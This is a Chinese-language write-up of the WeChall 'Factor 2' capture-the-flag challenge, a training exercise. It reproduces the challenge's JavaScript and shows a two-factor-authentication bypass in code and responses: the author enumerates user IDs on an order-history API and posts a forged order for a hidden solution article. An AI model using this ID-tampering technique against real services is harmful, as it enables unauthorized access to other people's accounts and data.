題幹:
Factor 2
Hello hacker
We have outsourced an application to an indian programmer and got disappointed.
The application is not multi language capable as agreed, but the worst is...
One of our coworkers could completely circumvent the two-factor authentication within minutes.
Can you do this as well?
To prove your success you have to order a special article.
Good luck!
gizmore
首先進傳入連結接,發現就是一個簡單的登陸界面:

右鍵,檢視源代碼,發現 factor2.js ,:
發現 factor2.js 裡面是具體的邏輯實作代碼:
"use strict";
/**
* (c)2019 Failsoft
*/
window.gurroga = {};
window.gurroga.api = {
login: '../backend/api/login.php',
auth: '../backend/api/authenticate.php',
}
window.gurroga.USER = null;
window.gurroga.ARTICLES = null;
window.gurroga.init = function() {
console.log('init()');
window.jsGrid.locale("de");
};
window.gurroga.showMessage = function(message) {
console.log('showMessage()', message);
$('#successmessage').html(message);
$('#successpopup').popup();
$('#successpopup').popup("open");
};
window.gurroga.showError = function(errorMessage) {
console.log('showError()', errorMessage);
$('#errormessage').text(errorMessage);
$('#errorpopup').popup();
$('#errorpopup').popup("open");
};
window.gurroga.goto = function(page) {
console.log('goto()', page);
$.mobile.changePage(page);
};
window.gurroga.disable = function(selector) {
var input = $(selector);
input.prop('disabled', true)
input.parent().addClass("ui-state-disabled");
};
window.gurroga.enable = function(selector) {
var input = $(selector);
input.prop('disabled', false)
input.parent().removeClass("ui-state-disabled");
};
window.gurroga.login = function() {
console.log('login()');
if (window.gurroga.USER) {
window.gurroga.authenticate();
}
else {
var username = $('#username').val();
var password = $('#password').val();
var postData = {username: username, password: password};
$.post(window.gurroga.api.login, postData)
.done(function(result){
console.log(result);
window.gurroga.USER = result.user;
window.gurroga.ARTICLES = result.artikel;
$('.username').text(result.user.vorname + ' ' + result.user.nachname);
window.gurroga.disable('#username');
window.gurroga.disable('#password');
window.gurroga.enable('#authtoken');
window.gurroga.buildArticles(result.artikel);
})
.fail(function(result){
console.error(result);
window.gurroga.showError(result.responseJSON.message);
});
}
};
window.gurroga.logout = function() {
console.log('logout()');
window.gurroga.USER = null;
window.gurroga.ARTICLES = null;
}
window.gurroga.authenticate = function() {
console.log('authenticate()');
var token = $('#authtoken').val();
var postData = {user: window.gurroga.USER.id, token: token};
$.post(window.gurroga.api.auth, postData)
.done(function(result){
console.log(result);
window.gurroga.goto('#welcome');
})
.fail(function(result){
console.error(result);
window.gurroga.showError(result.responseJSON.message);
});
};
window.gurroga.buildArticles = function(artikel) {
console.log('buildArticles()', artikel);
$('#bestellartikel').empty();
for (var a in artikel) {
var b = artikel[a];
$('#bestellartikel').append($('<option />').text(b.title).val(b.id));
}
};
$(window.document).on('pagechange', function(event, args) {
var funcname = 'changeTo_'+args.toPage[0].id;
console.log('pagechange()', funcname);
var func = window.gurroga[funcname];
if (func) {
func();
}
});
window.gurroga.changeTo_login = function() {
console.log('changeTo_login()');
window.gurroga.enable('#username');
window.gurroga.enable('#password');
window.gurroga.disable('#authtoken');
};
window.gurroga.changeTo_historie = function() {
console.log('changeTo_historie()');
$('#historygrid').jsGrid({
width: '100%',
sorting: true,
paging: false,
autoload: true,
controller: {
loadData: function() {
var d = $.Deferred();
$.ajax({
url: "../backend/api/bestellhistorie.php?user="+window.gurroga.USER.id,
dataType: "json"
}).done(function(response) {
d.resolve(response.result);
});
return d.promise();
}
},
fields: [
{name: "article.title", type: "text", title: "Artikel"},
{name: "article.amt", type: "text", title: "St眉ckzahl"},
{name: "amt", type: "text", title: "Bestellmenge"},
{name: "ordered_at", type: "text", title: "Bestelldatum"},
{name: "delivered_at", type: "text", title: "Lieferdatum"},
]
});
}
window.gurroga.order = function() {
console.log('order()');
var article = $('#bestellartikel').val();
var amount = $('#bestellmenge').val();
var postData = {user: window.gurroga.USER.id, id: article, amt: amount};
$.post('../backend/api/bestellen.php', postData)
.done(function(result){
console.log(result);
window.gurroga.showMessage(result);
})
.fail(function(result){
console.error(result);
window.gurroga.showError(result.responseText);
});
};
大緻流程是使用者通過使用者名和密碼進行登入,後端傳回使用者 id 和 article。
var username = $('#username').val();
var password = $('#password').val();
var postData = {username: username, password: password};
$.post(window.gurroga.api.login, postData)
.done(function(result){
console.log(result);
window.gurroga.USER = result.user;
window.gurroga.ARTICLES = result.artikel;
$('.username').text(result.user.vorname + ' ' + result.user.nachname);
window.gurroga.disable('#username');
window.gurroga.disable('#password');
window.gurroga.enable('#authtoken');
window.gurroga.buildArticles(result.artikel);
})
思路
1.觀察到沒有字元過濾,首先想到的是利用sql注入,行不通。(可能是太菜了)
2.一般網站都會采取cookies+session來作通路控制,然而沒有在本題中看到相關操作。又觀察到使用者資料中的 user_id 多次被用到,是以猜測在本例中使用者id是使用者憑據,是以突破口可能在它身上。
解決
仔細審閱代碼,發現order操作是通過傳遞使用者id、文章id以及訂閱數量直接操作的,如果能夠知道這兩個東西就直接能夠解題了。
window.gurroga.order = function() {
console.log('order()');
var article = $('#bestellartikel').val();
var amount = $('#bestellmenge').val();
var postData = {user: window.gurroga.USER.id, id: article, amt: amount};
$.post('../backend/api/bestellen.php', postData)
.done(function(result){
console.log(result);
window.gurroga.showMessage(result);
})
.fail(function(result){
console.error(result);
window.gurroga.showError(result.responseText);
});
嘗試随機取id直接post資料:
postdata = {
'user': 1,
'id': 1,
'amt': 1
}
得到:
<div>Vielen Dank für Ihre Bestellung!</div>
翻譯:感謝您的訂單!
經過多次嘗試,得到的都是上面這個結果,此路不通。
再次審查factor2.js,發現還有一段與通路曆史相關的api接口:
loadData: function() {
var d = $.Deferred();
$.ajax({
url: "../backend/api/bestellhistorie.php?user="+window.gurroga.USER.id,
dataType: "json"
}).done(function(response) {
d.resolve(response.result);
});
也是通過使用者id通路的,再次嘗試構造url:
https://www.wechall.net/challenge/gizmore/factor2/backend/api/bestellhistorie.php?user=1
得到:
{
"status": "success",
"result": [{
"article": {
"id": 1,
"name": "bueroklammern",
"amt": 100,
"title": "B\u00fcroklammern"
},
"amt": 1,
"ordered_at": "2018-10-29",
"delivered_at": "2018-10-30"
}]
}
發現有搞頭,傳回了資料!既然有資料傳回,說明我們猜的user id是存在的,而且上面的資料還傳回了article的id。仔細檢視所有id都是1,這不和之前猜的資料一摸一樣嗎。。。決定多試幾個id,依次累加,當id取到5的時候,出現了問題,沒有資料傳回了。本着小心謹慎地态度,試了一下user=6:
{
"status": "success",
"result": [{
"article": {
"id": 1,
"name": "bueroklammern",
"amt": 100,
"title": "B\u00fcroklammern"
},
"amt": 1,
"ordered_at": "2018-10-30",
"delivered_at": "2018-10-31"
}, {
"article": {
"id": 5678363,
"name": "solution",
"amt": 1,
"title": "Challenge solution for Factor 2"
},
"amt": 1,
"ordered_at": "2018-11-01",
"delivered_at": "2018-11-02"
}]
}
這下發現了一個特殊的資料,名字直接是 solution 了,趕緊order!
url = 'http://www.wechall.net/challenge/gizmore/factor2/backend/api/bestellen.php'
postdata = {
'user': 6,
'id': 5678363,
'amt': 1
}
with requests.post(url=url, data=postdata) as response:
print(response.text)
成功解決!再看題目的時候,發現原來題幹裡已經帶了提示了:
To prove your success you have to order a special article.
<div class="gwf_messages">
<span class="gwf_msg_t">WeChall</span>
<ul>
<li>Your answer is correct. To keep track of your progress you need to register.</li>
</ul>
</div>
<div class="cl"></div>
PS:這裡因為是直接post,沒有帶wechall的cookies,是以提示需要注冊。隻需要在post時帶上cookies就行了。
如果發現有錯誤或者有更好的思路和方法,歡迎留言評論。